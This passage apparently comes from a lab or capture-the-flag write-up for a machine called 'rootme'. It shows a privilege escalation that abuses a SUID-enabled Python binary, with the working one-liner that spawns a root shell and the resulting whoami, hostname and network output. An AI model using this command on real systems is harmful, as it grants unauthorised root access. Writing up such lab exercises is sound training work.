SUID


While performing the manual enumeration, I have identified that the /usr/bin/python binary has SUID bit set

Checking the GTFObins, python can be used to escalate privileges if it has SUID bit set

www-data@rootme:/var/www$ /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
#
# whoami
whoami
root
# hostname
hostname
rootme
# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:20:67:44:9c:e1 brd ff:ff:ff:ff:ff:ff
    inet 10.10.183.226/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 3235sec preferred_lft 3235sec
    inet6 fe80::20:67ff:fe44:9ce1/64 scope link 
       valid_lft forever preferred_lft forever

System Level Compromise